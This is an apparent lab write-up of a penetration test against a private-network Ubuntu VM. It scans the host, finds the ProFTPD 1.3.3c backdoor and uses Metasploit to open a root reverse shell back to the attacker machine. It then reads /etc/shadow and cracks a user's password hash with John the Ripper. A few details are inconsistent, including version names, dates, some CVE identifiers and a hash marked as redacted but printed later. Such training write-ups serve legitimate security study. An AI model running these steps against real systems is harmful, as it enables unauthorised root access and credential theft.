

# Offensive Laboratory 2

## ProFTPD 1.3.3c Backdoor Exploit (Root Flag)

### 1. Introduction and Objectives

This report details the penetration test performed on a vulnerable Linux virtual machine (Ubuntu), focusing on identifying a high-risk service misconfiguration that allowed immediate root access.

Detail	Value
Target IP Address	192.168.222.130
Attacker IP Address (LHOST)	192.168.222.128
Target OS	Ubuntu 4ubuntu2.2 (Linux Kernel 3.x)
Objective	Gain a Root-level shell and retrieve the flag file.

```
(mafioso㉿kali)-[~]
└─$ sudo arp-scan -l
[sudo] password for mafioso:
Interface: eth0, type: EN10MB, MAC: 00:0c:29:2b:e6:57, IPv4: 192.168.222.128
WARNING: Cannot open MAC/Vendor file ieeeoui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.222.1 00:50:56:c0:00:08 (Unknown)
192.168.222.2 00:50:56:e1:e7:6a (Unknown)
192.168.222.130 00:0c:29:91:14:83 (Unknown)
192.168.222.254 00:50:56:e7:b8:20 (Unknown)

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.137 seconds (119.79 hosts/sec). 4 responded

(mafioso㉿kali)-[~]
└─$
```

## 2. Initial Enumeration

The first step was a service scan using nmap to identify open ports and service versions.

**Command:**

```
sudo nmap -sS -sV 192.168.222.130
```

**Key Findings:**

Port	Service	Version	Risk
:---	:---	:---	:---
21/tcp   ftp   ProFTPD 1.3.3c   CRITICAL (Exploitable Backdoor)			
22/tcp   ssh   OpenSSH 7.2p2   Low (Standard service)			
80/tcp   http   Apache httpd 2.4.18   Low (No obvious web vulnerability found)			

```
(mafioso㉿kali)[-]$ sudo nmap -sS -sV -oT 192.168.222.130
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-05 12:10 EST
Nmap scan report for 192.168.222.130
Host is up (0.0033s latency).
Not shown: 997 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp     ProFTPD 1.3.3c
22/tcp    open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http    Apache httpd 2.4.18 ((Ubuntu))
MAC Address: 00:0C:29:91:14:83 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.14, Linux 3.8 - 3.16
Network Distance: 1 hop
Service Info: OSS: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.97 seconds
```

## 3. Vulnerability Analysis (Port 21)

A script scan against Port 21 identified a severe misconfiguration within the ProFTPD service. The Nmap output explicitly marked the installation as backdoored and successfully executed a test command as root.

**Vulnerability Found:** ftp-proftpd-backdoor

The Nmap script output confirmed the immediate severity:

- | ftp-proftpd-backdoor:
- | This installation has been backdoored.
- | Command: id
- |\_ Results: uid=0(root) gid=0(root) groups=0(root),65534(nogroup)

```

1337DAY-ID-36298      10.0   https://vulners.com/zdt/1337DAY-ID-36298      *EXPLOIT*
1337DAY-ID-23720      10.0   https://vulners.com/zdt/1337DAY-ID-23720      *EXPLOIT*
1337DAY-ID-23544      10.0   https://vulners.com/zdt/1337DAY-ID-23544      *EXPLOIT*
00531276-4E46-5C77-95C9-27B85AD62984  10.0   https://vulners.com/githubexploit/00531276-4E46-5C77-95C9-27B85AD62984  *EXPLOIT*
CVE-2019-212815      9.8    https://vulners.com/cve/CVE-2019-212815
CVE-2019-20103       10.0   https://vulners.com/cve/CVE-2019-20103
739FE495-4675-5A2A-BB93-EEF9AC07632  9.0    https://vulners.com/githubexploit/739FE495-4675-5A2A-BB93-EEF9AC07632  *EXPLOIT*
SSV2/2482             9.0    https://vulners.com/seebug/SSV:2482      *EXPLOIT*
CVE-2011-4130        9.0    https://vulners.com/cve/CVE-2011-4130
SSV:96525              7.5   https://vulners.com/seebug/SSV:96525     *EXPLOIT*
CVE-2024-48651        7.5   https://vulners.com/cve/CVE-2024-48651
CVE-2023-51713        7.5   https://vulners.com/cve/CVE-2023-51713
CVE-2021-46854        7.5   https://vulners.com/cve/CVE-2021-46854
CVE-2020-9727          7.5   https://vulners.com/cve/CVE-2020-9727
CVE-2019-19272        7.5   https://vulners.com/cve/CVE-2019-19272
CVE-2019-19271        7.5   https://vulners.com/cve/CVE-2019-19271
CVE-2019-19270        7.5   https://vulners.com/cve/CVE-2019-19270
CVE-2019-18217        7.5   https://vulners.com/cve/CVE-2019-18217
CVE-2018-1215          7.5   https://vulners.com/cve/CVE-2018-1215
CNVD-2020-14677        7.5   https://vulners.com/cnvd/CNVD-2020-14677
CNVD-2019-44557        7.5   https://vulners.com/cnvd/CNVD-2019-44557
SSV:2026              7.1    https://vulners.com/seebug/SSV:2026      *EXPLOIT*
PACKETSTORM:95517      7.1    https://vulners.com/packetstorm/PACKETSTORM:95517  *EXPLOIT*
CVE-2010-3867          7.1    https://vulners.com/cve/CVE-2010-3867
SSV:12447              6.8    https://vulners.com/seebug/SSV:12447     *EXPLOIT*
SSV:11950              6.8    https://vulners.com/seebug/SSV:11950     *EXPLOIT*
EDB-ID:33128            6.8   https://vulners.com/exploitdb/EDB-ID:33128     *EXPLOIT*
CVE-2010-4652          6.8    https://vulners.com/cve/CVE-2010-4652
CVE-2023-48795          5.9   https://vulners.com/cve/CVE-2023-48795
SSV:12523              5.8    https://vulners.com/seebug/SSV:12523     *EXPLOIT*
CVE-2009-3639          5.8    https://vulners.com/cve/CVE-2009-3639
CVE-2017-7418          5.5    https://vulners.com/cve/CVE-2017-7418
CVE-2011-1137          5.0    https://vulners.com/cve/CVE-2011-1137
CVE-2010-19269          4.9   https://vulners.com/cve/CVE-2010-19269
CVE-2012-6095          4.2    https://vulners.com/cve/CVE-2012-6095
SSV:71374              0.0    https://vulners.com/seebug/SSV:71374      *EXPLOIT*
```
ftp-proftpd-backdoor:
This installation has been backdoored.
Command: id
Results: uid=0(root) gid=0(root) groups=0(root),65534(nogroup)

```

This confirmed that the ProFTPD 1.3.3c version contained a backdoor that allows arbitrary command execution as the **root** user.

## 4. Exploitation and Root Shell Acquisition

The Metasploit Framework was used to exploit the confirmed ProFTPD backdoor vulnerability to gain a stable reverse shell connection.

### Exploit Steps:

- Launch Metasploit:** msfconsole
- Select Exploit Module:** use exploit/unix/ftp/proftpd\_133c\_backdoor
- Set Options:**
  - set RHOSTS 192.168.222.130
  - set PAYLOAD cmd/unix/reverse
  - set LHOST 192.168.222.128
- Execute:** exploit

**Result:** A command shell session was successfully established, immediately granting **root** privileges (uid=0).

```
# Name Disclosure Date Rank Check Description
- ----
0 exploit/unix/ftp/proftpd_133c_backdoor 2018-12-02 excellent No ProFTPD 1.3.3d Backdoor Command Exec

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/proftpd_133c_backdoor

msf6 exploit(unix/ftp/proftpd_133c_backdoor) > set RHOSTS 192.168.222.128
RHOSTS => 192.168.222.128
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > set PAYLOAD cmd/unix/reverse
PAYLOAD => cmd/unix/reverse
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > set LHOST 192.168.222.128
LHOST => 192.168.222.128
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > exploit

[*] Started reverse TCP double handler on 192.168.222.128:4444
[*] Exploit completed, but no session was created.
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > set RHOSTS 192.168.222.130
RHOSTS => 192.168.222.130
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > set PAYLOAD cmd/unix/reverse
PAYLOAD => cmd/unix/reverse
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > set LHOST 192.168.222.128
LHOST => 192.168.222.128
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > exploit

[*] Started reverse TCP double handler on 192.168.222.128:4444
[*] 192.168.222.128 -> Sending Backdoor Command
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo yCnWpmq84ZxiPER;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "yCnWpmq84ZxiPER\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.222.128:4444 -> 192.168.222.130:42388) at 2025-12-05 12:24:59 -0500
```

## 5. Post-Exploitation and Flag Retrieval

With root access secured, the system was searched for the flag file.

## Flag Location

The flag was retrieved from the common /root/ directory.

## Command:

```
ls /root  
cat /root/flag.txt
```

## Hash Cracking (Credential Harvesting)

During post-exploitation, the /etc/shadow file was examined for local user hashes.

### Hash Retrieved for user 'marlinspike':

marlinspike:\$6\$G5w... (hash redacted for report integrity) ...:17484:0:99999:7:::

The hash was successfully cracked using John the Ripper and the rockyou.txt wordlist.

### Command Used (on Attacker Machine):

```
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
```

Cracked password: marlinspike

```
(mafioso㉿kali)-[~]
└─$ john hashes.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
No password hashes left to crack (see FAQ)

(mafioso㉿kali)-[~]
└─$ cat hashes.txt
marlinspike:$6$wQb5nV3T$xB2W0/jOkbn4t1RUILrckw69LR/0EMtUbFFCypM3MUHVmtYw9.ov/aszTpWhLaC2x6Fvy5tpUUxQbUhCKbl4/:17484:0:99999:7:::

(mafioso㉿kali)-[~]
└─$ john hashes.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
No password hashes left to crack (see FAQ)

(mafioso㉿kali)-[~]
└─$ john --show hashes.txt
marlinspike:marlinspike:17484:0:99999:7:::

1 password hash cracked, 0 left
```

## 6. Remediation Recommendations

The primary security failure was the presence of a known, backdoor-compromised version of ProFTPD.

1. **Immediate Patch/Upgrade:** The ProFTPD service must be immediately patched or upgraded to a version greater than 1.3.3g to fix CVE-2010-4221 and the backdoor module.
2. **Service Removal:** If the FTP service is not mission-critical, it should be completely removed from the system.
3. **Input Filtering:** If FTP must remain, implement strict firewall rules (iptables/ufw) to restrict access to only essential internal or management IP addresses.
4. **Credential Hygiene:** Enforce strong password policies to prevent successful dictionary attacks on harvested shadow hashes.